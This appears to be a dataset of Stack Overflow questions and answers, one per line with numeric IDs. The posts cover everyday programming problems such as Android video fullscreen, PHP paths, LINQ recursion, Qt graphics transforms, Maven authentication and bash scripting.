38094163	0	 <p>What i did was </p> <p>1st. i go to manifest.xml and add android:configChanges to my playerActivity</p> <pre><code> &lt;activity android:name=".Activities.YoutubePlayerActivity" android:configChanges="orientation|keyboardHidden|screenSize"&gt;&lt;/activity&gt; </code></pre> <p>2nd. i override the configurationChanged </p> <pre><code>@Override public void onConfigurationChanged(Configuration newConfig) { super.onConfigurationChanged(newConfig); if (newConfig.orientation == Configuration.ORIENTATION_LANDSCAPE) { if (player.getFullscreenControlFlags() == player.FULLSCREEN_FLAG_ALWAYS_FULLSCREEN_IN_LANDSCAPE) { player.setFullscreen(true); player.play(); } } } </code></pre> <p>and you're done. Basically on the configurationChange i check if the the screen goes to landscape mode and the youtubePlayer will set to fullscreen first, then play. otherwise you'll get a short pause before it resume the video</p>
15397401	0	Pathing using ./, ../, .. - what do they exactly mean for my view files? <p>I always worry about pathing issues when I move my website into subfolders because I don't know how to handle it with PHP.</p> <p>I want to learn this with an example because I can easily learn it by looking at examples.</p> <p>Let's say I have a website running at this directory: <code>httpdocs/development/subfolder/myWebsite/index.php</code></p> <p>By default, PHP would run <code>httpdocs/index.php</code>, so it is the root path but my website runs in a subfolder.</p> <p>In my website's index.php, (so we're in a subfolder) how can I ensure I point correct folders?</p> <pre><code>&lt;img src="images/1.jpg"&gt; // Does no dot means root path? &lt;img src="./images/1.jpg"&gt; //Does ./ means which_directory_our_php_page_currently_in/images? &lt;a href="./"&gt; // Points /subfolder/myWebsite/ or httpdocs/ ? &lt;a href=".."&gt; //Same as above, but no front slash. &lt;a href=""&gt; //Same as above </code></pre> <p>I don't want to make a definition or a const to track it with PHP and change it whenever I move my files. Like:</p> <pre><code>define('SITE_PATH', './development/subfolder/myWebsite/'); </code></pre> <p>Especially when it comes into <code>DIRECTORY_SEPARATOR</code>, things only get more confusing.</p> <p>I would like to know how to handle it with PHP professionally; what is the difference between <code></code> and <code>./</code>; lastly what does <code>..</code> mean without forward slash.</p> <p>Thank you.</p>
18509625	0	 <p>You can do this without <code>LINQ</code>, but I want to use <code>LINQ</code> here:</p> <pre><code>public IEnumerable&lt;Control&gt; GetControls(Control c){ return new []{c}.Concat(c.Controls.OfType&lt;Control&gt;() .SelectMany(x =&gt; GetControls(x))); } foreach(Control c in GetControls(splitContainer.Panel2).Where(x=&gt;x is Label || x is Button)) MessageBox.Show("Name: " + c.Name + " Back Color: " + c.BackColor); </code></pre>
19934143	0	 <p>regarding pointer type: the idea here is that in order to reduce both loop and copy overhead, you want to copy using the largest data "chunks" (say 32bit) possible. So you try to copy as much as possible using 32bit words. The remainder then needs to be copied in smaller 8bit "chunks". For example, if you want to copy 13 bytes, you would do 3 iterations copying 32bit word + 1 iteration copying a single byte. This is preferable to doing 13 iterations of single byte copy. You could convert to uint32_t*, but then you'll have to convert back to uint8_t* to do the remainder.</p> <p>Regarding the second issue - this implementation will not work properly in case the destination address overlapps the source buffer. Assuming you want to support this kind of memcpy as well - it is a bug. This is a popular interview question pitfall ;).</p>
14644532	0	 <p>Starting with Steve B's comment and later finding this <a href="http://social.msdn.microsoft.com/Forums/en/csharpgeneral/thread/67c417e8-cf39-4ae2-928c-2b4f709b146d" rel="nofollow">article</a>, I solved my problem doing the following:</p> <ol> <li>On the user machine, the database is copied into the <code>%AppData%</code> directory.</li> <li>The <code>|DataDirectory|</code> is dynamically changed between Debug and Release mode.</li> </ol> <p>This allows not to change the connection string.</p> <p>In the meantime, I opted for a MS Access *.accdb database, but here is my code anyway.</p> <pre><code>Private Sub Main_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load #If (Not Debug) Then pathMyAppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &amp; "\MyApp" '"DataDirectory" is used in the Connection String AppDomain.CurrentDomain.SetData("DataDirectory", pathMyAppData) 'The application closes if no database is found If Not File.Exists(pathMyAppData &amp; "\MyDB.accdb) Then MsgBox("Database not found. Program closes.", MsgBoxStyle.Critical, "Error") Me.Close() End If #End If </code></pre>
38946221	0	 <p>What happens if you change $URLPath from</p> <pre><code>$URLPath = "http://localhost/~matthew/"; </code></pre> <p>to </p> <pre><code>$URLPath = $_SERVER['DOCUMENT_ROOT'] . "/~matthew/"; </code></pre>
32048928	0	 <p>Use the while statement:</p> <pre><code>while($row = $result-&gt;fetch_assoc()) { echo "First name:" . $row['fname']; echo " last name:" . $row['lname']; echo " Email:" . $row['email']; echo " Website:" . $row['website']; echo " comment:" . $row['comment']; } </code></pre>
40954313	0	 <p>This will not work as:</p> <pre><code>typeof null === 'object'; </code></pre> <p>So it will always return an object and hence your code will not work.</p> <p>Rather you can try:</p> <pre><code>if (myNull == null){ // your code here. } </code></pre> <p>Also can try as suggested by Scott, but the if else would be the other way round:</p> <pre><code>if (myNull){} </code></pre>
22097081	0	 <pre><code>convert string to date format, and this is easy for validating public class DateUtil { // List of all date formats that we want to parse. // Add your own format here. //u can use anyone format private static List&lt;SimpleDateFormat&gt;; dateFormats = new ArrayList&lt;SimpleDateFormat&gt;() {{ add(new SimpleDateFormat("M/dd/yyyy")); add(new SimpleDateFormat("dd.M.yyyy")); add(new SimpleDateFormat("dd.M.yyyy hh:mm:ss a")); add(new SimpleDateFormat("dd.MMM.yyyy")); add(new SimpleDateFormat("dd-MMM-yyyy")); } }; /** * Convert String with various formats into java.util.Date * * @param input * Date as a string * @return java.util.Date object if input string is parsed * successfully else returns null */ public static Date convertToDate(String input) { Date date = null; if(null == input) { return null; } for (SimpleDateFormat format : dateFormats) { try { format.setLenient(false); date = format.parse(input); } catch (ParseException e) { //Shhh.. try other formats } if (date != null) { break; } } return date; } } </code></pre>
35503164	0	Fiori Launchpad : could not run custom App -Found negative cache <p>i deployed an application on SAPUI5 Repository, when i added it to Fiori launchpad the app could not start and it's giving me the following error while debugging :</p> <pre><code>Uncaught Error: found in negative cache: 'com/emi/Component.js' from sap/bc/ui5_ui5/sap/zstatic/Component.js: 404 - NOT FOUND </code></pre> <p>com.emi is my sapui5 Component specified in LPD_CUST </p> <p>zstatic is the name of my app</p> <p>Does anyone have any information about the cause of this ? thank you</p>
40507272	0	 <p>Maven's first request is indeed anonymous, this is a common practice done for security reasons - not disclosing your credentials to the server if not needed to.<p> At this point Artifactory identifies that this is an anonymous request and that there are insufficient permissions and therefor returns a 401 status.<p> When receiving the 401, Maven should respond to the challenge and resend the request with the proper credentials. This is the step that I assume is not working properly.<br> Running Maven with a debug information might reveal more details.</p>
14517686	0	Integrating Elasticsearch with Activerecord <p>In Java when using Hibernate Search for instance you bind JPA insertion, removal and update events to the search engine so that it automatically insert, updates and removes elements from the search engine index at the same time inserting, updating or removing it from the database. Is the same possible in Ruby and when using active record? Or do you manually have to register observers?</p>
38837668	1	QT QFileSystemWatcher <p>It seems simple but it doesn't work. I have usbautomount installed.</p> <pre><code>#Watch the media directory and connect to enable save csv pb self.usb_watcher = QFileSystemWatcher() self.usb_watcher.addPaths(["/media/usb0"]) self.usb_watcher.directoryChanged.connect(self.enable_save_csv_pb) self.usb_watcher.fileChanged.connect(self.enable_save_csv_pb) </code></pre> <p>I think it has to do with addpath. If I don't put in the square brackets I get this error message:</p> <pre><code>QFileSystemWatcher: failed to add paths: m, e, d, i, a, /, u, s, b, 0 </code></pre> <p>But I've seen examples without the square brackets.</p>
8241520	0	android play wave stream through tcp socket <p>I don't know how to play live wave audio stream through socket. Now I have got the socket audio stream. the stream format : </p> <pre><code>wav format header +pcm data wav format header +pcm data wav format header +pcm data </code></pre> <p>So how do i parse the live audio stream to play in the AudioTrack class in android. Thanks. Here is my code :</p> <pre><code>private void PlayAudio(int mode) { if(AudioTrack.MODE_STATIC != mode &amp;&amp; AudioTrack.MODE_STREAM != mode) throw new InvalidParameterException(); long bytesWritten = 0; int bytesRead = 0; int bufferSize = 0; byte[] buffer; AudioTrack track; Socket socket=null; DataInputStream dIn=null; bufferSize = 55584; // i donnt know how much the buffer size should be. 55584 is the size that i got first from the socket stream. maybe the buffer size is setted wrong. //sample rate 16khz,channel: mono sample bits:16 bits channel:1 bufferSize = AudioTrack.getMinBufferSize(16000, AudioFormat.CHANNEL_CONFIGURATION_MONO, AudioFormat.ENCODING_PCM_16BIT); buffer = new byte[bufferSize]; track = new AudioTrack(AudioManager.STREAM_MUSIC, 16000, AudioFormat.CHANNEL_CONFIGURATION_MONO, AudioFormat.ENCODING_PCM_16BIT, bufferSize, mode); // in stream mode, // 1. start track playback // 2. write data to track if(AudioTrack.MODE_STREAM == mode) track.play(); try { socket = new Socket("192.168.11.123", 8081); dIn = new DataInputStream(socket.getInputStream()); // dIn.skipBytes(44); } catch (Exception e) { e.printStackTrace(); } try { do { long t0 = SystemClock.elapsedRealtime(); try { bytesRead = dIn.read(buffer, 0, buffer.length); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (NullPointerException e) { // TODO Auto-generated catch block e.printStackTrace(); } bytesWritten += track.write(buffer, 0, bytesRead); Log.e("debug", "WritesBytes "+bytesRead); } while (dIn.read() != -1); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } </code></pre> <p>I got mute when i running an activity, but i can hear some music intermittently in debug mode but it is noisy. Could you please help me ? the server send the stream 100ms interval: audio format : //sample rate 16khz,channel: mono sample bits:16 bits channel:1</p>
3913858	0	 <p>A vector is a line, that is a sequence of points but that it can be represented by two points, the starting and the ending point.</p> <p>If you take the origin as the starting point, then you can describe your vector giving only the ending point. </p>
12809424	0	 <p>The following article explains how you can make the Web Service Reference dynamic by changing the reference properties, adding a key to the web.config file and referencing this key on the application code: </p> <p><a href="http://www.codeproject.com/Articles/12317/How-to-make-your-Web-Reference-proxy-URL-dynamic" rel="nofollow">Article Link</a></p> <p>Basically you will have 2 versions of web.config file, production and staging with different URLs defined. While the code will point to a unique location.</p> <p><strong>UPDATE:</strong></p> <p>Now, before the following line, you have to alter the service.URL according to what stands in the web.config.</p> <pre><code>Dim response As Swan.MagellanLeadSheetResponse = service.Foo(stuffToSendToService) </code></pre>
18598668	0	Specifying a subdomain in the route definition in Express <p>I'm new to ExpressJS and NodeJS in general, so I need directions on how to achieve this effect: </p> <pre><code>app.get('/', 'sub1.domain.com', function(req, res) { res.send("this is sub1 response!"); }); app.get('/', 'sub2.domain.com', function(req, res) { res.send("this is sub2 response!"); } </code></pre> <p>So that when I request <code>sub1.domain.com</code> the first handler reacts and on <code>sub2.domain.com</code> I get response from second handler. I've read some questions on SO about using vhost for this purpose, but I'd be more happy if what I described above worked rather than creating multiple server instances like in vhost. </p>
5587511	0	Dynamic Scalar Sub Queries <p>How to generate Scalar Sub Queries dynamically at run time using Java. Please suggest any api if available?</p> <p>Scalar sub query example:</p> <pre><code>SELECT d.deptno, d.dname, (SELECT count(*) FROM emp e WHERE e.deptno = d.deptno) AS "Num Dept" FROM dept d; </code></pre> <p>For example take hotel reservation application. user can search on different criteria. I want to construct scalar subquery based on this criteria.</p> <p>Can we do this in Hibernate Criteria API or JPA 2.0 Criteria API. But I want to use native SQL in my DAO....</p>
32188957	0	 <p>As documented, the item's transformations are mathematically applied in a certain order - this is the order you'd be multiplying the transform matrices in and is, conceptually, the <em>reverse</em> of the order you'd normally think of.</p> <ol> <li>The <code>transform</code> is applied. The origin point must be included in the transform itself, by applying translations during the transform.</li> <li>The <code>transformations</code> are applied - each of them can specify its own center.</li> <li><code>rotation</code> then <code>scale</code> are applied, both relative to <code>transformOriginPoint</code>.</li> </ol> <p>When you set <code>transform</code> to scaling, and set <code>rotation</code>, the rotation is performed before scaling. The scaling applies to the rotated result - it simply stretches the rotated version horizontally in your case.</p> <p>You need to somehow enforce the reverse order of operations. The only two ways to do that are:</p> <ol> <li><p>Stack the transforms in correct order and pass them to <code>transform</code>, or.</p></li> <li><p>Pass a list of correct transformations to <code>transformations</code>.</p></li> </ol> <p>I'll demonstrate how to do it either way, in an interactive fashion where you can adjust the transform parameters using sliders.</p> <p>To obtain the correct result using <code>transform</code>:</p> <pre><code>QGraphicsItem * item = ....; QTransform t; QPointF xlate = item-&gt;boundingRect().center(); t.translate(xlate.x(), xlate.y()); t.rotate(angle); t.scale(xScale, yScale); t.translate(-xlate.x(), -xlate.y()); item-&gt;setTransform(t); </code></pre> <p>To obtain the correct result using <code>transformations</code>:</p> <pre><code>QGraphicsItem * item = ....; QGraphicsRotation rot; QGraphicsScale scale; auto center = item-&gt;boundingRect().center(); rot.setOrigin(QVector3D(center)); scale.setOrigin(QVector3D(center())); item-&gt;setTransformations(QList&lt;QGraphicsTransform*&gt;() &lt;&lt; &amp;rot &lt;&lt; &amp;scale); </code></pre> <p>Finally, the example:</p> <p><img src="https://i.stack.imgur.com/wyppC.png" alt="screenshot"></p> <pre><code>#include &lt;QtWidgets&gt; struct Controller { public: QSlider angle, xScale, yScale; Controller(QGridLayout &amp; grid, int col) { angle.setRange(-180, 180); xScale.setRange(1, 10); yScale.setRange(1, 10); grid.addWidget(&amp;angle, 0, col + 0); grid.addWidget(&amp;xScale, 0, col + 1); grid.addWidget(&amp;yScale, 0, col + 2); } template &lt;typename F&gt; void connect(F f) { connect(f, f, std::move(f)); } template &lt;typename Fa, typename Fx, typename Fy&gt; void connect(Fa &amp;&amp; a, Fx &amp;&amp; x, Fy &amp;&amp; y) { QObject::connect(&amp;angle, &amp;QSlider::valueChanged, std::move(a)); QObject::connect(&amp;xScale, &amp;QSlider::valueChanged, std::move(x)); QObject::connect(&amp;yScale, &amp;QSlider::valueChanged, std::move(y)); } QTransform xform(QPointF xlate) { QTransform t; t.translate(xlate.x(), xlate.y()); t.rotate(angle.value()); t.scale(xScale.value(), yScale.value()); t.translate(-xlate.x(), -xlate.y()); return t; } }; int main(int argc, char **argv) { auto text = QStringLiteral("Hello, World!"); QApplication app(argc, argv); QGraphicsScene scene; QWidget w; QGridLayout layout(&amp;w); QGraphicsView view(&amp;scene); Controller left(layout, 0), right(layout, 4); layout.addWidget(&amp;view, 0, 3); auto ref = new QGraphicsTextItem(text); // a reference, not resized ref-&gt;setDefaultTextColor(Qt::red); ref-&gt;setTransformOriginPoint(ref-&gt;boundingRect().center()); ref-&gt;setRotation(45); scene.addItem(ref); auto leftItem = new QGraphicsTextItem(text); // controlled from the left leftItem-&gt;setDefaultTextColor(Qt::green); scene.addItem(leftItem); auto rightItem = new QGraphicsTextItem(text); // controlled from the right rightItem-&gt;setDefaultTextColor(Qt::blue); scene.addItem(rightItem); QGraphicsRotation rot; QGraphicsScale scale; rightItem-&gt;setTransformations(QList&lt;QGraphicsTransform*&gt;() &lt;&lt; &amp;rot &lt;&lt; &amp;scale); rot.setOrigin(QVector3D(rightItem-&gt;boundingRect().center())); scale.setOrigin(QVector3D(rightItem-&gt;boundingRect().center())); left.connect([leftItem, &amp;left]{ leftItem-&gt;setTransform(left.xform(leftItem-&gt;boundingRect().center()));}); right.connect([&amp;rot](int a){ rot.setAngle(a); }, [&amp;scale](int s){ scale.setXScale(s); }, [&amp;scale](int s){ scale.setYScale(s); }); right.angle.setValue(45); right.xScale.setValue(3); right.yScale.setValue(1); view.ensureVisible(scene.sceneRect()); w.show(); return app.exec(); } </code></pre>
37221100	0	 <pre><code>public void changeWidth(final Pane/*Region*/ node, double width) {//its a Pane or Regions this.node = node; this.timeline = TimelineBuilder.create() .keyFrames( new KeyFrame(Duration.millis(20), new KeyValue( going here? , width, WEB_EASE) ) ) .build(); setCycleDuration(Duration.seconds(5)); setDelay(Duration.seconds(0)); </code></pre> <p>}</p> <blockquote> <p>In this case my node is a "AnchorPane".</p> </blockquote> <p>your <code>AnchorPane</code> is a subclass or <code>Pane</code>, let your wrappers or methods take in <code>Pane</code> or their respective class</p>
35709497	1	Anaconda Python: where are the virtual environments stored? <p>I am new to Anaconda Python and I am setting up a project in Sublime Text 3. I have installed Anaconda and created a virtual environment using:</p> <pre><code>conda create -n python27 python=2.7 anaconda conda create -n python35 python=3.5 anaconda </code></pre> <p>i am having trouble setting up the Virtualenvs plugin for SublimeText 3. when i try, it asks me for a virtualenvs path which i give <code>~/users/../anaconda/envs/python27</code>, then it asks for what I'm assuming is a path to an python distribution because it lists file paths for the system versions of python--but not the anaconda install. </p> <p>i have no real desire to use the plug in, I just want to be able to use both versions of python. could i use a project settings file to set the version of python instead?</p>
17988847	0	 <p>You querying a list of strings from your database and this is what the service returns.</p> <p>Their are multiple ways to achieve your goal.</p> <p>Pure JPA</p> <ol> <li><p>Using @JsonIgnore to tell Jackson not to serialize an attribute</p> <pre><code>class Application { String name; @JsonIgnore String address; } </code></pre></li> <li><p>Create a new Entity class that only contains the attributes you would like to share</p> <pre><code>class ApplicationName { String name; } </code></pre></li> </ol> <p>Alternatively you could introduce a separate class that only contains the attributes you would like to share and convert the results from the query into this class and return than the list of this converted values.</p>
40711193	1	Python typeerror int object not iterable, sum function issue (I think) <p>The object of the program is to ask the user how many articles of clothing they collected on each day of a 3 day (weekend) clothes drive, average them, do it again for the second weekend, then average the two weekends (clothes per day). </p> <p>Here is my code: </p> <pre><code>import math num_clothes = int() weekend_total = int() weekend_avg = float() total_clothes = int() total_avg = float() index = int() index = 1 while index &lt;= 2: index = 1 while index &lt;= 3: num_clothes = int(input("How many articles of clothing did you collect today? ")) index = index + 1 weekend_total = sum(num_clothes) weekend_avg = weekend_total / 3 print("Total Collected:\t", weekend_total) print("Weekend Average:\t", weekend_avg) index = index + 1`1 total_clothes = sum(weekend_total) total_avg = total_clothes / 6 print("Total Number of Clothing Collected:\t", total_clothes) print("Average Collected:\t", total_avg) </code></pre> <p>And here is the error i keep getting: </p> <pre><code>Traceback (most recent call last): File "G:\ITCS 1140\labs\python\lab 9.py", line 17, in &lt;module&gt; weekend_total = sum(num_clothes) TypeError: 'int' object is not iterable </code></pre> <p>I am trying to make num_clothes into a list and add all the values of it with sum(num_clothes).</p>
8474620	0	Errors with a shell-script <p>i found some freaky error. I want to increment a counter, but the variable isnt visible outside the while do.</p> <p>The script as follows:</p> <pre><code> ## $1 - The file which should be examined ## $2 - The time passed between the checks. If $2 is 5 then all lines from the last 5 minutes are taken ## $3 - The Errormessage to search for outputOK="OK - nothing happened" output_logcheck=0; errlines=""; cat $1 | grep "$3" | while read line do linedate=`date -d "$(echo $line | cut -d " " -f 2)" '+%s'` nowdate=`date '+%s'` if [ $(( $nowdate - (60 * $2) )) -le $linedate ] then $output_logcheck=$[$output_logcheck+1] $errlines="${errlines} -- ${line}" fi done; if [ $output_logcheck -eq 0 ] then echo $outputOK else echo "CRITICAL - There are -= ${output_logcheck} =- $3 -- Lines: $errlines" fi </code></pre> <p>So i dont know what else to try. Thanks in advance.</p>
1351931	0	 <p>Mod just means you take the remainder after performing the division. Since 4 goes into 2 zero times, you end up with a remainder of 2.</p>
13882206	0	Changing the Twitter Bootstrap stock Navbar to Transparent <p>I've seen a number of questions and answers about changing the background color of the default Twitter Bootstrap Primary Navbar, but they seem to deal with the top-most layer (the navbar-inner class), masking a number of other colors and options underneath.</p> <p>I'm looking to create a transparent navbar, and after adding "background-color:transparent;" to each layer I can find, I still have a stock white bar across the top of my screen. Currently my app.css has these few lines:</p> <pre><code>.navbar-inner{ background-color:transparent; } .navbar-inner container{ background-color:transparent; } .navbar{ background-color:transparent; } #nav-main{ background-color:transparent; } #banner{ background-color:transparent; } </code></pre> <p>I'm running out of guesses here, and my scatter-shot method seems to be failing me. Is there a rule I just haven't seen (and modified) yet, or am I going about this the wrong way altogether?</p>
10030380	0	 <p>Found it.</p> <p>No masks involved.</p> <p>I took the <code>Path</code> and wrapped a <code>Group</code> around it:</p> <pre><code>&lt;s:Group blendMode="layer"&gt; &lt;s:Path id="connector" ... /&gt; &lt;s:Ellipse id="hole" blendMode="erase"&gt; </code></pre> <p>I set the <code>blendMode</code> to "layer" and added an ellipse <em>after</em> the path with blendMode <code>erase</code></p>
4301580	0	 <p>Did you try some:</p> <pre><code>pid_t pid = getpid(); </code></pre> <p>and try to use gdb to print pid value? Nevertheless, your pid should print. What if you try :</p> <pre><code>printf("pid = %ld\n", getpid()); </code></pre>
18338463	0	Javascript hide show object <p>This code doesn't work, why?</p> <pre><code>&lt;script&gt; function color(color_type){ if (color_type == 'blue'){ document.getElementById('blue').style.display = 'block'; document.getElementById('red').style.display = 'none'; } else{ document.getElementById('blue').style.display = 'none'; document.getElementById('red').style.display = 'block'; } } &lt;/script&gt; &lt;select onchange="color(this.value)"&gt; &lt;option name="choice1" value="red" &gt;red&lt;/option&gt; &lt;option name="choice2" value="blue" &gt;blue&lt;/option&gt; &lt;/select&gt; &lt;div id="red" style="display:none;"&gt; &lt;? // echo "&lt;tr&gt; &lt;td width='100' class='tbl'&gt;Just ask&lt;/td&gt; &lt;td width='80%' class='tbl'&gt;&lt;input type='text' name='1' value='$n1' class='textbox' style='width: 250px'&gt;&lt;/td&gt; &lt;/tr&gt;"; // ?&gt; &lt;/div&gt; &lt;div id="blue" style="display:none;"&gt; &lt;? // echo "&lt;tr&gt; &lt;td width='100' class='tbl'&gt;Just ask blue&lt;/td&gt; &lt;td width='80%' class='tbl'&gt;&lt;input type='text' name='2' value='$n2' class='textbox' style='width: 250px'&gt;&lt;/td&gt; &lt;/tr&gt;"; // ?&gt; &lt;/div&gt; </code></pre> <p>Td table doesn't hidden, every time show this table. I need that when I chose blue or red show only "Just ask blue" or "Just ask" table.</p> <p>P.S sorry for my bad english language </p>
7191918	0	jQuery image/window resize--max resize constraint <p>I currently have a page where I have fixed-size divs that load pages as a user scrolls down (similar to Infinite Scroll) and am currently working on functionality to have the loaded images and containers dynamically resize along with the browser window. My current issue is that I'm currently using <code>$(window).width</code> and <code>$(window).height</code>, which naturally causes the images to resize to the window width.</p> <p>I was wondering what I can set <code>maxWidth</code> and <code>maxHeight</code> to so that the images don't get resized any greater than their original size? I've been using <code>$(window)</code> just to test the function, but I basically don't want the images to become any larger than their original size. I've tried <code>$(this)</code>, but it causes the ratio to be equal to 1, resulting in no resize.</p> <pre><code> $(window).resize(function () { imageResize(); }); function imageResize() { $(".added").each(function () { var maxWidth = $(window).width(); var maxHeight = $(window).height(); var ratio = 0; var width = $(this).width(); var height = $(this).height(); if (width &gt; maxWidth) { ratio = (maxWidth / width); $(this).width(maxWidth); $(this).height(height * ratio); $(this).parent().height(height * ratio); $(this).parent().width(maxWidth); } else { ratio = (maxWidth / width); $(this).width(maxWidth); $(this).height(height * ratio); $(this).parent().height(height * ratio); $(this).parent().width(maxWidth); } }); } </code></pre>
8854636	0	 <p>After testing and searching.. the answer is no. The only version that supports "non-broadcast" command is 5.0 The newer versions of cisco packet tracer only support defining networks as "point-to-point" or "broadcast". Though, non have the same characteristics. </p>
2461311	0	 <pre><code>let Tlist_WinWidth = somenumber </code></pre>
32450553	0	 <p>There's a different behaviour for push notifications when the app is in the foreground/background and when the app isn't running at all. When the app is running, whether in the foreground, you'll receive a call to <code>didReceiveRemoteNotification:</code> and you'll be responsible for handling the notification's display (the operating system won't do it for you).</p> <p>When the app is in the background, you'll receive a call to <code>didReceiveRemoteNotification:</code> only if/when the user presses the notification banner/alert displayed to him/her by the operating system. If the user chooses not to interact with the notification, your app won't even know about it.</p> <p>If the app isn't running at all, the behaviour will be similar to when the app is in the background, only you'll receive the push notification indication and data in the userInfo dictionary of <code>application:didFinishLaunchingWithOptions:</code></p> <p>So, if your question refers to cases in which the app is in the foreground, that shouldn't be a problem and you can do anything you want with the alert field before displaying it to the user. Otherwise, it's the operating system's responsibility to show the alert so that makes it a bit more complicated. Try using the tools available to you for localizing the alerts, as described here: <a href="http://stackoverflow.com/questions/18609923/change-language-of-alert-in-banner-of-push-notification">Change language of alert in banner of Push Notification</a>. Hopefully, it will help. Good luck.</p>
13636694	0	 <p>If I've understood it correctly you don't have any problems of library versions and isolation, so independently of if a library is used by all the war archives or not, you can place them all inside the ear's lib directory (you could even consider placing the libraries in the jboss instance lib directory, and removing them from the ear/wars!). This way the ear file will have the smallest size possible.</p> <p>Don't worry about the memory used, the JBoss classloader will just load once the libraries, so they will be shared by all the wars that need them (another case would be if you need a different version of the same library for each war).</p> <p>On the other hand, if any of the libraries is just used by one of the war file, it will also be optimal if you place the library inside this war's lib directory.</p> <p>So your first approach is right, I don't think you need to change it.</p>
5160906	0	 <p>When doing performance tests like this, you should always allow for "warmup period". So you shouldn't start measuring before having run the calculations a couple of hundred or thounsand times. This way the Java Hotspot compiler will have compiled what it considers being frequently executed code, and the native binary will have put its most frequently used variables in processor registers.</p> <p>My guess is that close to 100% of the difference in your result is due to the slow startup time of the JVM. Java uses ages to start compared to a natively compiled program.</p> <p>It would be interesting to see a measurement actually done in code, after a "warmup period".</p>
3109928	0	 <p>StringBuffer has a reverse: <a href="http://java.sun.com/j2se/1.4.2/docs/api/java/lang/StringBuffer.html#reverse()" rel="nofollow noreferrer">http://java.sun.com/j2se/1.4.2/docs/api/java/lang/StringBuffer.html#reverse()</a></p> <p>BTW, I assume you meant O(n) because O(1) (as other people have mentioned) is obviously impossible.</p>
17006619	0	 <p>The type inference is just a shortcut for an unnecessarily long way of instantiating paremeterized types. Generics are still implemented by type-erasure, so your bytecode will only have the raw types.</p>
957432	0	 <p>For the Microsoft .NET folks</p> <p>I think Silverlight is going to be HUGE for the next few and perhaps many years.</p>
7985713	0	 <p>I had to figure this out one time, so I'm referring to my notes on the matter.</p> <p>The following query:</p> <pre><code>INSERT INTO table ... ON DUPLICATE KEY UPDATE ..., id = LAST_INSERT_ID( id) </code></pre> <p>Where 'id' is the primary key on the table, allows you to call <a href="http://us2.php.net/mysqli_affected_rows" rel="nofollow">mysqli_affected_rows()</a>, which will return:</p> <ol> <li>0 - Row existed, nothing updated</li> <li>1 - No row existed, inserted</li> <li>2 - Row existed, something updated</li> </ol>
25092906	0	MySQL join, even when 0 <p>Im doing the follwing, to create an user report</p> <pre><code>SELECT b.username, b.name, b.permissiontoedit, a.total, a.user FROM (SELECT user, Count( * ) AS total FROM products GROUP BY user)a JOIN user b ON a.user = b.username </code></pre> <p>This should give a table with the username, full name, permision (1/0) and the total of entries.</p> <p>Sadly, the query does only list users, which made more 1 or more entries in the table <code>products</code>. But i want all users, and if the have not made any entries in <code>products</code> it should display 0 or nothing. </p> <p>where do i made a mistake? </p>
30918130	0	 <p>We're doing this:</p> <pre><code>$(document).on("pagecontainershow", function() { var activePage = $.mobile.pageContainer.pagecontainer("getActivePage"); var activePageId = activePage[0].id; if(activePageId != 'splashPage') { //fix rotation splash flash bug $("#splashPage").hide(); } else { $("#splashPage").show(); } switch(activePageId) { case 'loginPage': loginPageShow(); break; case 'notificationPage': notificationPageShow(); break; case 'postPage': postPageShow(); break; case 'profilePage': profilePageShow(); break; case 'splashPage': splashPageShow(); break; case 'timelinePage': timelinePageShow(); break; default: break; } }); </code></pre> <p>And navigation works like this:</p> <pre><code> $.mobile.loading('hide'); $(":mobile-pagecontainer").pagecontainer("change", "#timelinePage", { transition: 'none' }); </code></pre>
4283861	0	 <p>Have you tried this?</p> <pre><code>usort($array, array($this, 'compare')) </code></pre> <p><a href="http://www.php.net/manual/en/language.pseudo-types.php#language.types.callback" rel="nofollow">See PHP's documentation on the callback type</a>.</p>
15606436	0	 <p>Here is a very basic attempt in Python:</p> <pre><code>import pylab as pl data = pl.array([[1,2],[2,3],[1,3],[2,1],[5,3],[3,2],[3,2],[1,1]]) first = data[:,0] second = data[:,1] xs = [] ys = [] for r in data: ys += list(r) ys.append(None) xs += [1.3,1.7] xs.append(None) pl.plot([1.3]*len(first),first,'o',[1.7]*len(second),second,'o',xs,ys) pl.boxplot(data) pl.ylim([min(min(first),min(second))-.5,max(max(first),max(second))+.5]) labels = ("first", "second") pl.xticks([1,2],labels) pl.show() </code></pre> <p>will result in: <img src="https://i.stack.imgur.com/igpyG.png" alt="enter image description here"></p>
2508815	0	 <p>Though as with any operating system, you don't really learn to get truly comfortable with it unless you actually start using it on a daily basis. You can learn the basics from books and online tutorials, but if you want it to feel "natural" you'll have to jump right in and start actually using it regulary.</p> <p>A nice way to "wet your feet", if you don't want to convert from windows, is by installing Cygwin (<a href="http://www.cygwin.com" rel="nofollow noreferrer">www.cygwin.com</a>) on your windows machine and start to use it regulary (some discipline is required here, and it's not the best way to learn - but it's useful now and then). This also has the added benefit of automatically getting all nice *NIX utilities that can be a lifesaver when you're a programmer (awk, sed, bash, grep, tail, emacs, the list goes on...).</p>
38899934	0	 <p>Issue was with JTDS driver as soon as I switched to JConnect driver everything began to work as expected. </p>
334330	0	 <p>There is such a thing as "too much" processing, and catching all exceptions kindof defeats the point. Specifically for C++, the catch(...) statement does catch all exceptions but you can't process the contents of that exception because you don't know the type of the exception (and it could be anything).</p> <p>You should catch the exceptions you can handle fully or partially, rethrowing the partial exceptions. You should not catch any exceptions that you can't handle, because that will just obfuscate errors that may (or rather, will) bite you later on.</p>
1493844	0	 <p>If you need relational properties, <strong>look for non-Notes solutions</strong>. It is possible to get some relational behavior using document UNIDs and update agents, but it will be harder than with a proper relational backend.</p> <p>Your specific problem with referencing to a piece of text that might change can to some extent be resolved by using <strong>aliases</strong> in the choice fields. If a dialog list contains values on the form...</p> <pre><code>Foo|id1 Bar|id2 </code></pre> <p>...the form will display <strong>Foo</strong> but the back-end document will store the value <strong>id1</strong> - (and this is what you will be able to show in standard views - although <a href="http://www.lotus911.com/nathan/escape.nsf/d6plinks/NTFN-7FRG79" rel="nofollow noreferrer">xpages</a> could solve that). Using the <code>@DocumentUniqueID</code> for alias can be a good idea under some circumstances. </p>
